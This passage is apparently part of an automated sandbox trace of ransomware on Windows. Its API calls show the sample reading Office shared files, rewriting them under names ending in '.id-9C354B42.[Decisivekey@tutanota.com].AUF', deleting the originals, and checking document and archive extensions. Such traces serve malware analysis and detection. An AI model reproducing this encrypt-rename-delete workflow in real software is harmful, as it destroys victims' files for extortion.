nNumberOfBytesToWrite=0x3d70, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0x3d70, lpOverlapped=0x0) returned 1 [0223.725] ReadFile (in: hFile=0x214, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1 [0223.725] WriteFile (in: hFile=0x1d8, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0xee, lpOverlapped=0x0) returned 1 [0223.725] SetEndOfFile (hFile=0x1d8) returned 1 [0223.725] CloseHandle (hObject=0x1d8) returned 1 [0223.725] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.725] SetEndOfFile (hFile=0x214) returned 1 [0223.726] CloseHandle (hObject=0x214) returned 1 [0223.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0223.726] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe")) returned 1 [0223.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE") returned 93 [0223.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE") returned 93 [0223.726] lstrlenW (lpString=".doc") returned 4 [0223.726] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0223.726] lstrlenW (lpString=".docx") returned 5 [0223.726] lstrcmpiW (lpString1=".docx", lpString2="M.EXE") returned -1 [0223.726] lstrlenW (lpString=".pdf") returned 4 [0223.726] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0223.726] lstrlenW (lpString=".xls") returned 4 [0223.726] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0223.726] lstrlenW (lpString=".xlsx") returned 5 [0223.726] lstrcmpiW (lpString1=".xlsx", lpString2="M.EXE") returned -1 [0223.726] lstrlenW (lpString=".ppt") returned 4 [0223.726] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0223.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE") returned 93 [0223.726] lstrlenW (lpString=".zip") returned 4 [0223.726] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0223.726] lstrlenW (lpString=".rar") returned 4 [0223.726] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0223.726] lstrlenW (lpString=".bz2") returned 4 [0223.726] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0223.726] lstrlenW (lpString=".7z") returned 3 [0223.726] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0223.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE") returned 93 [0223.726] lstrlenW (lpString=".dbf") returned 4 [0223.726] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0223.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE") returned 93 [0223.726] lstrlenW (lpString=".1cd") returned 4 [0223.726] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0223.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE") returned 93 [0223.727] lstrlenW (lpString=".jpg") returned 4 [0223.727] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0223.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE") returned 93 [0223.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE") returned 93 [0223.727] lstrlenW (lpString=".doc") returned 4 [0223.727] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0223.727] lstrlenW (lpString=".docx") returned 5 [0223.727] lstrcmpiW (lpString1=".docx", lpString2="M.EXE") returned -1 [0223.727] lstrlenW (lpString=".pdf") returned 4 [0223.727] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0223.727] lstrlenW (lpString=".xls") returned 4 [0223.727] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0223.727] lstrlenW (lpString=".xlsx") returned 5 [0223.727] lstrcmpiW (lpString1=".xlsx", lpString2="M.EXE") returned -1 [0223.727] lstrlenW (lpString=".ppt") returned 4 [0223.727] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0223.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE") returned 93 [0223.727] lstrlenW (lpString=".zip") returned 4 [0223.727] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0223.727] lstrlenW (lpString=".rar") returned 4 [0223.727] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0223.727] lstrlenW (lpString=".bz2") returned 4 [0223.727] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0223.727] lstrlenW (lpString=".7z") returned 3 [0223.727] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0223.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE") returned 93 [0223.727] lstrlenW (lpString=".dbf") returned 4 [0223.727] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0223.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE") returned 93 [0223.727] lstrlenW (lpString=".1cd") returned 4 [0223.727] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0223.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE") returned 93 [0223.727] lstrlenW (lpString=".jpg") returned 4 [0223.727] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0223.727] lstrcmpiW (lpString1=".EXE", lpString2=".AUF") returned 1 [0223.727] lstrlenW (lpString="OSPPSVC.EXE") returned 11 [0223.727] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0223.728] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=4925184) returned 1 [0223.728] CloseHandle (hObject=0x214) returned 1 [0223.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe")) returned 0x20 [0223.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0223.729] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0223.730] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0223.730] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0x0) returned 1 [0223.730] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0223.730] ReadFile (in: hFile=0x214, lpBuffer=0x3e50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e50058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0223.757] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x190d00, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0223.757] ReadFile (in: hFile=0x214, lpBuffer=0x3e90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e90058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0223.791] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0223.791] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x472700, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0223.791] ReadFile (in: hFile=0x214, lpBuffer=0x3ed0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ed0058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0223.837] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.837] WriteFile (in: hFile=0x214, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x335fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0223.853] SetEndOfFile (hFile=0x214) returned 1 [0223.871] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0223.871] WriteFile (in: hFile=0x214, lpBuffer=0x4039090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x4039090*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0223.872] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x190d00, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0223.872] WriteFile (in: hFile=0x214, lpBuffer=0x4039090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x4039090*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0223.874] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x472700, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0223.874] WriteFile (in: hFile=0x214, lpBuffer=0x4039090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x4039090*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0224.044] CloseHandle (hObject=0x214) returned 1 [0224.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned 91 [0224.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned 91 [0224.044] lstrlenW (lpString=".doc") returned 4 [0224.044] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0224.044] lstrlenW (lpString=".docx") returned 5 [0224.044] lstrcmpiW (lpString1=".docx", lpString2="C.EXE") returned -1 [0224.044] lstrlenW (lpString=".pdf") returned 4 [0224.044] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0224.044] lstrlenW (lpString=".xls") returned 4 [0224.044] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0224.044] lstrlenW (lpString=".xlsx") returned 5 [0224.044] lstrcmpiW (lpString1=".xlsx", lpString2="C.EXE") returned -1 [0224.044] lstrlenW (lpString=".ppt") returned 4 [0224.044] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0224.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned 91 [0224.044] lstrlenW (lpString=".zip") returned 4 [0224.044] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0224.044] lstrlenW (lpString=".rar") returned 4 [0224.044] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0224.044] lstrlenW (lpString=".bz2") returned 4 [0224.044] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0224.044] lstrlenW (lpString=".7z") returned 3 [0224.044] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0224.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned 91 [0224.044] lstrlenW (lpString=".dbf") returned 4 [0224.044] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0224.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned 91 [0224.045] lstrlenW (lpString=".1cd") returned 4 [0224.045] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0224.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned 91 [0224.045] lstrlenW (lpString=".jpg") returned 4 [0224.045] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0224.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned 91 [0224.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned 91 [0224.045] lstrlenW (lpString=".doc") returned 4 [0224.045] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0224.045] lstrlenW (lpString=".docx") returned 5 [0224.045] lstrcmpiW (lpString1=".docx", lpString2="C.EXE") returned -1 [0224.045] lstrlenW (lpString=".pdf") returned 4 [0224.045] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0224.045] lstrlenW (lpString=".xls") returned 4 [0224.045] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0224.045] lstrlenW (lpString=".xlsx") returned 5 [0224.045] lstrcmpiW (lpString1=".xlsx", lpString2="C.EXE") returned -1 [0224.045] lstrlenW (lpString=".ppt") returned 4 [0224.045] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0224.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned 91 [0224.045] lstrlenW (lpString=".zip") returned 4 [0224.045] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0224.045] lstrlenW (lpString=".rar") returned 4 [0224.045] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0224.045] lstrlenW (lpString=".bz2") returned 4 [0224.045] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0224.045] lstrlenW (lpString=".7z") returned 3 [0224.045] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0224.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned 91 [0224.045] lstrlenW (lpString=".dbf") returned 4 [0224.045] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0224.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned 91 [0224.045] lstrlenW (lpString=".1cd") returned 4 [0224.045] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0224.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned 91 [0224.045] lstrlenW (lpString=".jpg") returned 4 [0224.045] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0224.045] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0224.045] lstrlenW (lpString="FBIBLIO.DLL") returned 11 [0224.045] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0224.046] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=123776) returned 1 [0224.046] CloseHandle (hObject=0x214) returned 1 [0224.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll")) returned 0x20 [0224.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0224.046] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.046] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0224.047] GetLastError () returned 0x0 [0224.047] ReadFile (in: hFile=0x214, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x1e380, lpOverlapped=0x0) returned 1 [0224.080] WriteFile (in: hFile=0x1f4, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x1e390, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0x1e390, lpOverlapped=0x0) returned 1 [0224.082] ReadFile (in: hFile=0x214, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.082] WriteFile (in: hFile=0x1f4, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0xea, lpOverlapped=0x0) returned 1 [0224.082] SetEndOfFile (hFile=0x1f4) returned 1 [0224.082] CloseHandle (hObject=0x1f4) returned 1 [0224.082] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.082] SetEndOfFile (hFile=0x214) returned 1 [0224.083] CloseHandle (hObject=0x214) returned 1 [0224.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.084] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll")) returned 1 [0224.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL") returned 68 [0224.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL") returned 68 [0224.084] lstrlenW (lpString=".doc") returned 4 [0224.084] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0224.084] lstrlenW (lpString=".docx") returned 5 [0224.084] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0224.084] lstrlenW (lpString=".pdf") returned 4 [0224.084] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0224.084] lstrlenW (lpString=".xls") returned 4 [0224.084] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0224.084] lstrlenW (lpString=".xlsx") returned 5 [0224.084] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0224.084] lstrlenW (lpString=".ppt") returned 4 [0224.084] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0224.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL") returned 68 [0224.084] lstrlenW (lpString=".zip") returned 4 [0224.084] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0224.084] lstrlenW (lpString=".rar") returned 4 [0224.084] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0224.084] lstrlenW (lpString=".bz2") returned 4 [0224.084] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0224.084] lstrlenW (lpString=".7z") returned 3 [0224.084] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0224.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL") returned 68 [0224.084] lstrlenW (lpString=".dbf") returned 4 [0224.084] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0224.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL") returned 68 [0224.084] lstrlenW (lpString=".1cd") returned 4 [0224.084] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0224.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL") returned 68 [0224.084] lstrlenW (lpString=".jpg") returned 4 [0224.084] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0224.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL") returned 68 [0224.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL") returned 68 [0224.084] lstrlenW (lpString=".doc") returned 4 [0224.084] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0224.085] lstrlenW (lpString=".docx") returned 5 [0224.085] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0224.085] lstrlenW (lpString=".pdf") returned 4 [0224.085] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0224.085] lstrlenW (lpString=".xls") returned 4 [0224.085] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0224.085] lstrlenW (lpString=".xlsx") returned 5 [0224.085] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0224.085] lstrlenW (lpString=".ppt") returned 4 [0224.085] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0224.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL") returned 68 [0224.085] lstrlenW (lpString=".zip") returned 4 [0224.085] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0224.085] lstrlenW (lpString=".rar") returned 4 [0224.085] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0224.085] lstrlenW (lpString=".bz2") returned 4 [0224.085] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0224.085] lstrlenW (lpString=".7z") returned 3 [0224.085] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0224.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL") returned 68 [0224.085] lstrlenW (lpString=".dbf") returned 4 [0224.085] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0224.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL") returned 68 [0224.085] lstrlenW (lpString=".1cd") returned 4 [0224.085] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0224.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL") returned 68 [0224.085] lstrlenW (lpString=".jpg") returned 4 [0224.085] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0224.085] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0224.085] lstrlenW (lpString="FPERSON.DLL") returned 11 [0224.085] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0224.092] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=217984) returned 1 [0224.092] CloseHandle (hObject=0x1f4) returned 1 [0224.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll")) returned 0x20 [0224.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart 